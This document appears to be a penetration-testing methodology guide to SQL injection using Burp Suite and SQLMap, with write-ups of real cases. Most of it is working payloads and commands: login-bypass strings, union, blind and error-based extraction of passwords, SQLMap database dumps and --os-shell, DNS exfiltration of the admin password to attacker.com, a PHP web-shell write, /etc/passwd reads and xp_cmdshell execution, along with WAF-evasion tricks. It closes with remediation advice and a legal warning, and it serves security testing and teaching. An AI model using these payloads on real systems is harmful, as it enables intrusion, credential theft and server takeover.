SQL Injection (SQLi) remains one of the most critical web application vulnerabilities. This methodology provides a structured approach to testing for and exploiting SQL injection vulnerabilities using real-world examples, tools like Burp Suite and SQLMap, and techniques that have been proven effective in actual security assessments.
SQL injection vulnerabilities can appear anywhere the application interacts with a database. Common locations include:
- Login forms - Username and password fields
- Search functionality - Search boxes and filters
- URL parameters -
id=1,page=2,category=5 - API endpoints - JSON/XML data in POST requests
- HTTP headers - User-Agent, Referer, Cookie, X-Forwarded-For
- Hidden form fields - Values submitted via POST
Before testing, identify all user-controllable inputs. For each parameter, note:
- The HTTP method (GET, POST, PUT, DELETE)
- The data format (URL-encoded, JSON, XML, multipart)
- Any visible input validation or filtering
- The application's behavior with valid vs invalid inputs
Real-World Example - Zomato (2017):
A security researcher discovered SQL injection in a JSON array parameter called brids . The vulnerable request looked like:
POST /████.php?res_id={RES_ID} HTTP/1.1
Host: www.zomato.com
Content-Type: application/x-www-form-urlencoded
action=show_support_breakups&brids=["')/**/OR/**/MID(0x352e362e33332d6c6f67,1,1)/**/LIKE/**/5/**/%23"]The injection occurred in a JSON array parameter, demonstrating that modern APIs with structured data formats are equally vulnerable.
The first step in detection is breaking the SQL query to observe the application's response.
Basic Test Strings to Try:
| Payload | Purpose | Expected Behavior if Vulnerable |
|---|---|---|
' |
Break string delimiter | SQL error, 500 error, or changed response |
" |
Break string delimiter (alternative) | SQL error, 500 error, or changed response |
' OR '1'='1 |
Always true condition | Different content or successful login |
' AND '1'='2 |
Always false condition | No results or login failure |
'-- - |
Comment out rest of query | Different behavior than single quote alone |
'# |
MySQL comment | Different behavior than single quote alone |
'; |
Statement terminator | Potential error or changed behavior |
Testing Process:
- Submit a legitimate request and note the response
- Add a single quote to the parameter and resubmit
- Compare responses - look for:
- Database error messages
- Different page content
- HTTP 500 status codes
- Missing expected content
Real-World Example - Boelter Blue System Management (CVE-2024-36840):
The news_details.php endpoint was vulnerable in the id parameter . The researcher confirmed the vulnerability by comparing:
Normal request: id=10071 → Returns expected content
Test request: id=10071' → Different behavior indicating SQL error
Boolean test: id=10071 AND 4036=4036 → Normal response (true condition)
Boolean test: id=10071 AND 4036=4037 → Different response (false condition)
This confirmed the parameter was injectable using boolean-based blind SQL injection.
Burp Suite provides multiple approaches for SQL injection detection .
Method 1: Active Scanning (Burp Professional)
- Navigate to Proxy > HTTP History
- Right-click on the request containing the parameter you want to test
- Select Do Active Scan
- Burp Scanner automatically tests for SQL injection by:
- Inserting SQL-specific payloads
- Analyzing responses for error patterns
- Testing boolean conditions
- Checking time-based delays
Method 2: Manual Fuzzing with Burp Intruder
For manual testing or when using Burp Community Edition :
- Capture the request in Burp Proxy
- Send to Intruder (Right-click > Send to Intruder)
- Configure payload position - Highlight the parameter value and click "Add §"
- Load payloads - In the Payloads tab, add a list of SQL fuzz strings:
- If using Professional: Use built-in "Fuzzing - SQL" wordlist
- If using Community: Manually add common SQL injection payloads
- Configure payload processing - Replace placeholders like
{base}and{domain}with actual values - Start attack - Click "Start Attack"
- Analyze results - Look for:
- Responses with different lengths (UNION success)
- Responses containing database errors
- Responses with time delays
- HTTP status code differences
Login Bypass Testing with Burp Repeater:
A classic SQL injection scenario is bypassing authentication . Here's the methodology:
Step 1: Navigate to the login page and enter:
- Username:
administrator - Password: (any random value)
Step 2: Intercept the POST request in Burp Proxy. The request will look similar to:
POST /login HTTP/1.1
Host: vulnerable-lab.com
Content-Type: application/x-www-form-urlencoded
username=administrator&password=xyz123Step 3: Send the request to Repeater (Ctrl+R)
Step 4: Modify the username parameter to:
username=administrator'--
Step 5: Send the request. If successful, you receive a 302 redirect instead of a "login failed" message .
Why This Works:
The application likely executes a query similar to:
SELECT * FROM users WHERE username = 'administrator'--' AND password = 'xyz123'The -- sequence comments out the remainder of the SQL query, effectively removing the password check entirely. The query becomes:
SELECT * FROM users WHERE username = 'administrator'If the user exists, authentication succeeds regardless of the password provided.
When error messages are suppressed and boolean differences are invisible, time delays confirm injection:
MySQL:
' AND SLEEP(5)--
' OR SLEEP(5)='
PostgreSQL:
' OR pg_sleep(5)--
' || pg_sleep(5)--
MSSQL:
'; WAITFOR DELAY '0:0:5'--
'); WAITFOR DELAY '0:0:5'--
Oracle:
' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('x',5)--
' OR 1=DBMS_LOCK.SLEEP(5)--
If the response is delayed by approximately 5 seconds, the parameter is vulnerable to time-based blind SQL injection.
SQLMap is the industry-standard tool for automated SQL injection detection and exploitation. It ships standard with Kali Linux and other penetration testing distributions .
Initial Detection Scan:
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query"When run against a vulnerable target, SQLMap provides a comprehensive report :
Parameter: test (GET)
Type: boolean-based blind
Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: test=hello' AND EXTRACTVALUE(8093,CASE WHEN (8093=8093) THEN 8093 ELSE 0x3A END)-- MmxA
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: test=hello' AND GTID_SUBSET(CONCAT(0x71717a7071,(SELECT (ELT(6102=6102,1))),0x716b7a7671),6102)-- Jfrr
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: test=hello' AND (SELECT 8790 FROM (SELECT(SLEEP(5)))hgWd)-- UhkS
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: test=hello' UNION ALL SELECT NULL,CONCAT(0x71717a7071,0x51704d49566c48796b726a5558784e6642746b716a77776e6b777a51756f6f6b79624b5650585a67,0x716b7a7671),NULL#
This output reveals that the parameter is vulnerable to four different SQL injection techniques, and the backend is MySQL version 5.0.12 or higher .
| Command | Purpose |
|---|---|
sqlmap -u "URL" --dbs |
List all databases |
sqlmap -u "URL" -D database --tables |
List tables in a specific database |
sqlmap -u "URL" -D database -T table --columns |
List columns in a specific table |
sqlmap -u "URL" -D database -T table --dump |
Extract data from the table |
sqlmap -u "URL" --batch |
Run with default answers (non-interactive) |
sqlmap -u "URL" --level=3 --risk=2 |
Increase thoroughness (level 1-5, risk 1-3) |
sqlmap -u "URL" --os-shell |
Attempt operating system shell access |
Step 1: Enumerate Databases
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" --dbsThis reveals all databases accessible through the vulnerable parameter .
Step 2: Enumerate Tables
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" -D acuart --tablesThe output shows tables within the selected database. Look for interesting names like users, admin, customers, passwords.
Step 3: Enumerate Columns
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" -D acuart -T users --columnsThis reveals the structure of the table, including column names like id, username, password, email.
Step 4: Extract Data
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" -D acuart -T users --dumpSQLMap extracts all data from the table and saves it locally .
When the vulnerable parameter is in a POST request:
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" -p usernameThe -p flag specifies which parameter to test. If not specified, SQLMap tests all parameters.
For authenticated testing:
sqlmap -u "http://target.com/profile.php?id=1" --cookie="PHPSESSID=abc123def456"The security researchers who discovered this vulnerability used SQLMap for exploitation :
# For news_details.php
sqlmap -u "https://www.example.com/news_details.php?id=10071" --random-agent --dbms=mysql --threads=4 --dbs
# For services.php (with WAF bypass tamper script)
sqlmap -u "https://www.example.com/services.php?section=5081" --random-agent --tamper=space2comment --threads=8 --dbsThe --random-agent flag randomizes the User-Agent header to avoid detection. The --tamper=space2comment script replaces spaces with comments to bypass simple WAF rules .
Union-based injection is the most direct technique when the application displays query results on the page.
Step 1: Determine Column Count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
Continue until an error occurs. The last successful number is the maximum column count.
Alternatively:
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
Step 2: Identify Displayable Columns
' UNION SELECT 1,2,3,4,5--
The numbers that appear in the response indicate which columns are displayed.
Step 3: Extract Data
Once displayable columns are identified, replace numbers with data extraction queries:
' UNION SELECT database(),user(),version(),4,5--
' UNION SELECT table_name,2,3,4,5 FROM information_schema.tables--
' UNION SELECT column_name,2,3,4,5 FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username,password,3,4,5 FROM users--When the application doesn't display data but behaves differently based on query results:
Detection Pattern:
' AND 1=1-- → Normal response
' AND 1=2-- → Different response (error or missing content)
Data Extraction - Character by Character:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='b'--
Continue until the correct character is found, then move to position 2.
Real-World Example - Zomato Boolean SQLi:
The researcher used a boolean injection to identify the MySQL version :
MID(0x352e362e33332d6c6f67,1,1)//LIKE//5
This extracted the first character of the version string (hex 0x352e... decodes to "5.6.33-log") and compared it to "5". A 500 HTTP status indicated the condition was true, while a 200 status indicated false.
When no visible differences exist in responses:
MySQL:
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0)--PostgreSQL:
' || CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END--MSSQL:
'; IF (SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a') WAITFOR DELAY '0:0:5'--If the response is delayed by approximately 5 seconds, the character is correct.
Error-based injection leverages database error messages to leak data directly.
MySQL:
' AND extractvalue(1,concat(0x7e,version(),0x7e))--
' AND updatexml(1,concat(0x7e,user(),0x7e),1)--
' AND GTID_SUBSET(version(),0)--MSSQL:
' OR 1=CONVERT(int, @@version)--
' OR 1=CAST((SELECT DB_NAME()) AS int)--The most common SQL injection scenario is bypassing login forms .
Basic Bypass Payloads:
Username: admin'--
Username: ' OR '1'='1
Username: admin' OR 1=1--
Username: ' UNION SELECT 'admin', 'password' FROM users--
Complete Authentication Bypass Methodology:
- Intercept the login POST request in Burp Proxy
- Send to Repeater
- Test each payload in the username field
- Look for redirect responses (302) or successful login indicators
- When successful, use "Show in browser" in Burp to access the authenticated session
When standard techniques fail, use DNS exfiltration.
MSSQL DNS Exfiltration:
'; declare @p varchar(1024); set @p=(SELECT password FROM users WHERE username='admin'); exec('master..xp_dirtree "//'+@p+'.attacker.com/a"')--Oracle DNS Exfiltration:
' AND 1=UTL_INADDR.get_host_address((SELECT password FROM users WHERE username='admin')||'.attacker.com')--PostgreSQL DNS Exfiltration:
'; SELECT * FROM dblink('host='||(SELECT password FROM users LIMIT 1)||'.attacker.com user=test dbname=test','SELECT 1') RETURNS (result int)--MySQL File Read:
' UNION SELECT LOAD_FILE('/etc/passwd')--MySQL File Write (Web Shell):
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php"--MSSQL Command Execution:
'; EXEC xp_cmdshell 'whoami'--Agartha Extension :
This comprehensive extension provides:
- Payload generation for SQL injection with WAF bypass techniques
- Authorization matrix for privilege escalation testing
- Automated HTTP 403 bypass testing
- BCheck code generation for automated scanning
To use Agartha for SQL injection:
- Navigate to the Payload Generator tab
- Select "SQLi" attack type
- Configure options (database type, WAF bypass, encoding)
- Click "Generate the Payloads" to create a wordlist
- Use the generated list with Burp Intruder
For programmatic testing, the sqlinjector Python framework provides :
from sqlinjector import SQLInjector
from sqlinjector.models import ScanConfig
# Configure scan
config = ScanConfig(
url="https://vulnerable-app.com/search.php?q=test",
method=HttpMethod.GET,
delay=0.5,
max_payloads_per_type=15
)
# Run scanner
scanner = VulnerabilityScanner(config)
result = await scanner.scan()
for vuln in result.vulnerabilities:
print(f"Found {vuln.injection_type.value} in {vuln.parameter}")Command line usage:
sqlinjector scan https://vulnerable-app.com/page.php?id=1 --params id --injection-types boolean_blind time_blindBefore testing on live targets, practice on legitimate vulnerable applications:
- OWASP Juice Shop - Deliberately vulnerable web application
- testphp.vulnweb.com - Acunetix's test site for SQL injection practice
- PortSwigger Web Security Academy - Free labs with various SQL injection scenarios
To set up OWASP Juice Shop locally with Docker :
docker pull bkimminich/juice-shop
docker run -d -p 3000:3000 bkimminich/juice-shopSingle quote: %27, %u0027, %uff07, \x27
Space: %20, %09 (tab), %0a (newline), %0d (carriage return)
MySQL versioned comment: /*!50000SELECT*/ * FROM users
Nested comments: /*!12345UNION/*/*/ /*!12345SELECT*/ 1,2,3
Inline comments: SEL/*foo*/ECT * FROM/*bar*/users
Tab: %09
Newline: %0a
Parentheses: SELECT(id)FROM(users)
Comments: SELECT/**/*/**/FROM/**/users
SeLeCt * FrOm UsErS
sElEcT * fRoM uSeRs
SQLMap includes tamper scripts that modify payloads to bypass WAFs :
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,randomcase,betweenCommon tamper scripts:
space2comment- Replaces spaces with/**/randomcase- Randomizes case of keywordsbetween- Replaces>withBETWEENand=chardoubleencode- Double URL-encodes characters
Vulnerability: The brids parameter, which accepted a JSON array, was vulnerable to boolean-based blind SQL injection .
Detection Payload:
POST /████.php?res_id={RES_ID} HTTP/1.1
Host: www.zomato.com
action=show_support_breakups&brids=["')/**/OR/**/MID(0x352e362e33332d6c6f67,1,1)/**/LIKE/**/5/**/%23"]How It Worked:
- The JSON array value
')closed the existing SQL string ORadded a conditional statementMID(hex,1,1)extracted the first character of the version hex stringLIKE 5compared it to the character "5"- A 500 response (true) vs 200 response (false) indicated the MySQL version started with "5"
Impact: The researcher could extract database version, table names, and user data through boolean inference.
Vulnerability: Multiple SQL injection vulnerabilities in news_details.php, services.php, and location_details.php .
Attack Vectors:
-
Boolean-based blind in
news_details.php?id:id=10071 AND 4036=4036 (true condition) id=10071 AND 4036=4037 (false condition) -
Time-based blind in
services.php?section:section=5081 AND (SELECT 2101 FROM (SELECT(SLEEP(5)))nmcL) -
UNION-based injection :
id=-5819 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170766b71,0x646655514b72686177544968656d6e414e4678595a666f77447a57515750476751524f5941496b55,0x7162626a71),NULL-- -
Exploitation Results: The attacker could extract:
- Admin credentials
- User email addresses and password hashes
- Device hashes
- Purchase history
- Database credentials
SQLMap Command Used:
sqlmap -u "https://www.example.com/news_details.php?id=10071" --random-agent --dbms=mysql --threads=4 --dbsVulnerability: Login form vulnerable to SQL injection .
Exploitation Steps:
- Navigated to login page
- Entered username
administratorand any password - Intercepted POST request in Burp Proxy
- Modified username to
administrator'-- - Forwarded request - received 302 redirect
- Used "Show in browser" to access admin panel
Why It Succeeded: The backend query was constructed as:
SELECT * FROM users WHERE username = '$username' AND password = '$password'After injection:
SELECT * FROM users WHERE username = 'administrator'--' AND password = 'anything'The -- commented out the password check, making the query effectively:
SELECT * FROM users WHERE username = 'administrator'- Obtain written authorization to test
- Define scope (which URLs, parameters, methods)
- Set up testing environment (Burp Suite, SQLMap)
- Configure proxy and certificate
- Test each parameter with single quote (
') - Test with double quote (
") - Test boolean conditions (
' AND '1'='1vs' AND '1'='2) - Test time delays (
' AND SLEEP(5)--) - Test comment characters (
--,#,/* */) - Test stacked queries (
'; SELECT 1--)
- Run Burp Active Scan (Professional)
- Run SQLMap basic detection
- Run SQLMap with increased level/risk
- Run SQLMap with tamper scripts for WAF bypass
- Extract database names
- Extract table names
- Extract column names
- Extract sensitive data
- Test for file read/write
- Test for command execution
- Document vulnerable parameters
- Capture proof-of-concept requests/responses
- Assess data sensitivity exposed
- Provide remediation recommendations
Use Parameterized Queries (Prepared Statements):
// Java - JDBC
String query = "SELECT * FROM users WHERE username = ?";
PreparedStatement ps = connection.prepareStatement(query);
ps.setString(1, username);# Python - SQLite/MySQL
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))// PHP - PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute(['username' => $username]);- Input validation - Whitelist allowed characters when possible
- Least privilege - Application database user should have minimal permissions
- WAF implementation - Deploy Web Application Firewall with SQL injection rules
- Regular testing - Conduct automated and manual SQL injection testing
- Error handling - Configure generic error messages, never expose database errors
IMPORTANT: SQL injection testing without explicit written permission is illegal in most jurisdictions. Only test:
- Your own applications
- Systems you have written authorization to test
- Bug bounty programs with clear scope definitions
- Practice environments designed for security testing